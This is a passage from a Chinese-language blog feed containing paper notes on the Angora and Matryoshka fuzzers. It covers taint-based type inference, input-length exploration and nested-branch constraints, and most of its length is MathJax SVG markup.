62H338V0H327Z"></path></g></g></g></svg></mjx-container></span> 并不是完全字节粒度的位向量，Angora会尝试把一起使用的字节归纳为一个<em>type</em>。文中这里也提到了一个问题，关于为什么要引入这个机制？假设某个程序把4个连续的字节 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.375ex" xmlns="http://www.w3.org/2000/svg" width="7.833ex" height="1.945ex" role="img" focusable="false" viewBox="0 -694 3462.2 859.6"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mn" transform="translate(462,-150) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path></g></g><g data-mml-node="msub" transform="translate(865.6,0)"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mn" transform="translate(462,-150) scale(0.707)"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g></g><g data-mml-node="msub" transform="translate(1731.1,0)"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mn" transform="translate(462,-150) scale(0.707)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g></g><g data-mml-node="msub" transform="translate(2596.7,0)"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mn" transform="translate(462,-150) scale(0.707)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g></g></g></g></svg></mjx-container></span> 当作一个<em>int</em>类型，用 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="2.034ex" height="1.357ex" role="img" focusable="false" viewBox="0 -442 899 599.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mi" transform="translate(605,-150) scale(0.707)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g></g></svg></mjx-container></span> 代表这个整型，那么在计算 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="10.578ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 4675.4 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D453" d="M118 -162Q120 -162 124 -164T135 -167T147 -168Q160 -168 171 -155T187 -126Q197 -99 221 27T267 267T289 382V385H242Q195 385 192 387Q188 390 188 397L195 425Q197 430 203 430T250 431Q298 431 298 432Q298 434 307 482T319 540Q356 705 465 705Q502 703 526 683T550 630Q550 594 529 578T487 561Q443 561 443 603Q443 622 454 636T478 657L487 662Q471 668 457 668Q445 668 434 658T419 630Q412 601 403 552T387 469T380 433Q380 431 435 431Q480 431 487 430T498 424Q499 420 496 407T491 391Q489 386 482 386T428 385H372L349 263Q301 15 282 -47Q255 -132 212 -173Q175 -205 139 -205Q107 -205 81 -186T55 -132Q55 -95 76 -78T118 -61Q162 -61 162 -103Q162 -122 151 -136T127 -157L118 -162Z"></path></g><g data-mml-node="mo" transform="translate(550,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mi" transform="translate(939,0)"><path data-c="1D417" d="M327 0Q306 3 174 3Q52 3 43 0H33V62H98L162 63L360 333L157 624H48V686H59Q80 683 217 683Q368 683 395 686H408V624H335L393 540L452 458L573 623Q573 624 528 624H483V686H494Q515 683 646 683Q769 683 778 686H787V624H658L575 511Q493 398 493 397L508 376Q522 356 553 312T611 229L727 62H835V0H824Q803 3 667 3Q516 3 489 0H476V62H513L549 63L401 274L247 63Q247 62 292 62H338V0H327Z"></path></g><g data-mml-node="mo" transform="translate(2030.2,0)"><path data-c="2B" d="M56 237T56 250T70 270H369V420L370 570Q380 583 389 583Q402 583 409 568V270H707Q722 262 722 250T707 230H409V-68Q401 -82 391 -82H389H387Q375 -82 369 -68V230H70Q56 237 56 250Z"></path></g><g data-mml-node="mi" transform="translate(3030.4,0)"><path data-c="1D6FF" d="M195 609Q195 656 227 686T302 717Q319 716 351 709T407 697T433 690Q451 682 451 662Q451 644 438 628T403 612Q382 612 348 641T288 671T249 657T235 628Q235 584 334 463Q401 379 401 292Q401 169 340 80T205 -10H198Q127 -10 83 36T36 153Q36 286 151 382Q191 413 252 434Q252 435 245 449T230 481T214 521T201 566T195 609ZM112 130Q112 83 136 55T204 27Q233 27 256 51T291 111T309 178T316 232Q316 267 309 298T295 344T269 400L259 396Q215 381 183 342T137 256T118 179T112 130Z"></path></g><g data-mml-node="msub" transform="translate(3474.4,0)"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g><g data-mml-node="mi" transform="translate(518,-150) scale(0.707)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g><g data-mml-node="mo" transform="translate(4286.4,0)"><path data-c="29" d="M60 749L64 750Q69 750 74 750H86L114 726Q208 641 251 514T294 250Q294 182 284 119T261 12T224 -76T186 -143T145 -194T113 -227T90 -246Q87 -249 86 -250H74Q66 -250 63 -250T58 -247T55 -238Q56 -237 66 -225Q221 -64 221 250T66 725Q56 737 55 738Q55 746 60 749Z"></path></g></g></g></svg></mjx-container></span> 的时候，只需要在 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="2.034ex" height="1.357ex" role="img" focusable="false" viewBox="0 -442 899 599.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g><g data-mml-node="mi" transform="translate(605,-150) scale(0.707)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g></g></svg></mjx-container></span> 加上 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.005ex" height="1.645ex" role="img" focusable="false" viewBox="0 -717 444 727"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D6FF" d="M195 609Q195 656 227 686T302 717Q319 716 351 709T407 697T433 690Q451 682 451 662Q451 644 438 628T403 612Q382 612 348 641T288 671T249 657T235 628Q235 584 334 463Q401 379 401 292Q401 169 340 80T205 -10H198Q127 -10 83 36T36 153Q36 286 151 382Q191 413 252 434Q252 435 245 449T230 481T214 521T201 566T195 609ZM112 130Q112 83 136 55T204 27Q233 27 256 51T291 111T309 178T316 232Q316 267 309 298T295 344T269 400L259 396Q215 381 183 342T137 256T118 179T112 130Z"></path></g></g></g></svg></mjx-container></span> ,但是把其分开成4个方向偏导数分别计算，可能会影响其收敛速度。</p><p>结构推断：哪些bytes总是一起被使用？</p><p>类型推断：一起被使用bytes是什么类型？</p><p>Angora里面的<em>primitive type</em>分为1，2，4，8bytes。它们之前可能会出现矛盾情况（e.g. 相同连续位置，被<em>fetch</em>一次8bytes，同时也被<em>fetch</em>一次4bytes），这种情况下，取最短的<em>type</em>。类型推断的依据使用其上下文的语义所决定的，比如某个指令操作对象是<em>signed int</em>,那么对应的<em>type</em>也是<em>signed int</em>。注意其整个过程都是在动态的污点分析中完成的。</p><p><strong>输入长度探索</strong></p><p>Angora这里特别地采取了关于输入长度的判断策略，通过关联<em>read-like</em>函数和<em>read</em> 系统调用，对<em>read-like</em>函数传参判定对应的输入<em>offset</em>(taint相关), 还会特殊标记它们的返回值，如果它们的返回值流到了路径条件上，且没有满足路径条件，Angora会尝试增加输入长度。这里我觉得这个策略并不会普遍适用于一般的程序输入，只能说一种有趣的尝试。</p><h3 id="x02-self-conclusion">0x02 Self Conclusion</h3><p>很有趣且朴素的一篇文章，使用的5种解决路径方法很实用，且开源（能看代码的感觉真好），但是仔细研究细节可能还是与自己想的不太一样。其中很多东西，可以尝试应用到实际情况下，我觉得就值得。“纸上得来终觉浅，绝知此事要躬行”。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;angora-efficient-fuzzing-by-principled-search&quot;&gt;Angora: Efficient Fuzzing by Principled Search&lt;/h1&gt;
&lt;h3 id=&quot;x00-解决路径问题的五种技术&quot;&gt;0x00 解决路</summary>
      
    
    
    
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    <title>Matryoshka:Fuzzing Deeply Nested Branches</title>
    <link href="https://m4p1e.com/2020/10/04/matryoshka/"/>
    <id>https://m4p1e.com/2020/10/04/matryoshka/</id>
    <published>2020-10-04T21:21:00.000Z</published>
    <updated>2021-05-04T15:29:13.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="x00-questions">0x00 Questions</h3><p>这篇文章意在解决“嵌套”的条件结构（注意这里的嵌套并不是狭义上控制结构嵌套），这是一个比较难处理的问题，在找到一个能触发新分支 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.971ex" height="1.595ex" role="img" focusable="false" viewBox="0 -694 429 705"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></svg></mjx-container></span> 的输入 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.781ex" height="1.52ex" role="img" focusable="false" viewBox="0 -661 345 672"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> ，接下来的策略肯定就是在这个输入 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.781ex" height="1.52ex" role="img" focusable="false" viewBox="0 -661 345 672"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> 上，去构造新的输入 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.408ex" height="1.742ex" role="img" focusable="false" viewBox="0 -759 622.5 770"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g><g data-mml-node="mo" transform="translate(378,363) scale(0.707)"><path data-c="2032" d="M79 43Q73 43 52 49T30 61Q30 68 85 293T146 528Q161 560 198 560Q218 560 240 545T262 501Q262 496 260 486Q259 479 173 263T84 45T79 43Z"></path></g></g></g></g></svg></mjx-container></span> 来触发更多的新的分支，但是这里面有一 个问题，假设新分支 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.971ex" height="1.595ex" role="img" focusable="false" viewBox="0 -694 429 705"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></svg></mjx-container></span> 内有一个子分支条件是 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.023ex" xmlns="http://www.w3.org/2000/svg" width="1.061ex" height="1.023ex" role="img" focusable="false" viewBox="0 -442 469 452"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g></g></g></svg></mjx-container></span> ,这个分支条件位置为 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: 0" xmlns="http://www.w3.org/2000/svg" width="1.699ex" height="1.545ex" role="img" focusable="false" viewBox="0 -683 751 683"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 0 282 1T182 2Q120 2 87 2T51 1Q33 1 33 11Q33 13 36 25Q40 41 44 43T67 46Q94 46 127 49Q141 52 146 61Q149 65 218 339T287 628ZM645 554Q645 567 643 575T634 597T609 619T560 635Q553 636 480 637Q463 637 445 637T416 636T404 636Q391 635 386 627Q384 621 367 550T332 412T314 344Q314 342 395 342H407H430Q542 342 590 392Q617 419 631 471T645 554Z"></path></g></g></g></svg></mjx-container></span> (reachable by <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.781ex" height="1.52ex" role="img" focusable="false" viewBox="0 -661 345 672"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g></g></svg></mjx-container></span> ),那么分支 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.971ex" height="1.595ex" role="img" focusable="false" viewBox="0 -694 429 705"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></svg></mjx-container></span> 的子分支就可以抽象为 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.566ex" xmlns="http://www.w3.org/2000/svg" width="7.537ex" height="2.262ex" role="img" focusable="false" viewBox="0 -750 3331.4 1000"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="7B" d="M434 -231Q434 -244 428 -250H410Q281 -250 230 -184Q225 -177 222 -172T217 -161T213 -148T211 -133T210 -111T209 -84T209 -47T209 0Q209 21 209 53Q208 142 204 153Q203 154 203 155Q189 191 153 211T82 231Q71 231 68 234T65 250T68 266T82 269Q116 269 152 289T203 345Q208 356 208 377T209 529V579Q209 634 215 656T244 698Q270 724 324 740Q361 748 377 749Q379 749 390 749T408 750H428Q434 744 434 732Q434 719 431 716Q429 713 415 713Q362 710 332 689T296 647Q291 634 291 499V417Q291 370 288 353T271 314Q240 271 184 255L170 250L184 245Q202 239 220 230T262 196T290 137Q291 131 291 1Q291 -134 296 -147Q306 -174 339 -192T415 -213Q429 -213 431 -216Q434 -219 434 -231Z"></path></g><g data-mml-node="mi" transform="translate(500,0)"><path data-c="1D460" d="M131 289Q131 321 147 354T203 415T300 442Q362 442 390 415T419 355Q419 323 402 308T364 292Q351 292 340 300T328 326Q328 342 337 354T354 372T367 378Q368 378 368 379Q368 382 361 388T336 399T297 405Q249 405 227 379T204 326Q204 301 223 291T278 274T330 259Q396 230 396 163Q396 135 385 107T352 51T289 7T195 -10Q118 -10 86 19T53 87Q53 126 74 143T118 160Q133 160 146 151T160 120Q160 94 142 76T111 58Q109 57 108 57T107 55Q108 52 115 47T146 34T201 27Q237 27 263 38T301 66T318 97T323 122Q323 150 302 164T254 181T195 196T148 231Q131 256 131 289Z"></path></g><g data-mml-node="mo" transform="translate(969,0)"><path data-c="7D" d="M65 731Q65 745 68 747T88 750Q171 750 216 725T279 670Q288 649 289 635T291 501Q292 362 293 357Q306 312 345 291T417 269Q428 269 431 266T434 250T431 234T417 231Q380 231 345 210T298 157Q293 143 292 121T291 -28V-79Q291 -134 285 -156T256 -198Q202 -250 89 -250Q71 -250 68 -247T65 -230Q65 -224 65 -223T66 -218T69 -214T77 -213Q91 -213 108 -210T146 -200T183 -177T207 -139Q208 -134 209 3L210 139Q223 196 280 230Q315 247 330 250Q305 257 280 270Q225 304 212 352L210 362L209 498Q208 635 207 640Q195 680 154 696T77 713Q68 713 67 716T65 731Z"></path></g><g data-mml-node="mo" transform="translate(1691.2,0)"><path data-c="2229" d="M88 -21T75 -21T55 -7V200Q55 231 55 280Q56 414 60 428Q61 430 61 431Q77 500 152 549T332 598Q443 598 522 544T610 405Q611 399 611 194V-7Q604 -22 591 -22Q582 -22 572 -9L570 405Q563 433 556 449T529 485Q498 519 445 538T334 558Q251 558 179 518T96 401Q95 396 95 193V-7Q88 -21 75 -21Z"></path></g><g data-mml-node="mi" transform="translate(2580.4,0)"><path data-c="1D443" d="M287 628Q287 635 230 637Q206 637 199 638T192 648Q192 649 194 659Q200 679 203 681T397 683Q587 682 600 680Q664 669 707 631T751 530Q751 453 685 389Q616 321 507 303Q500 302 402 301H307L277 182Q247 66 247 59Q247 55 248 54T255 50T272 48T305 46H336Q342 37 342 35Q342 19 335 5Q330 0 319 0Q316 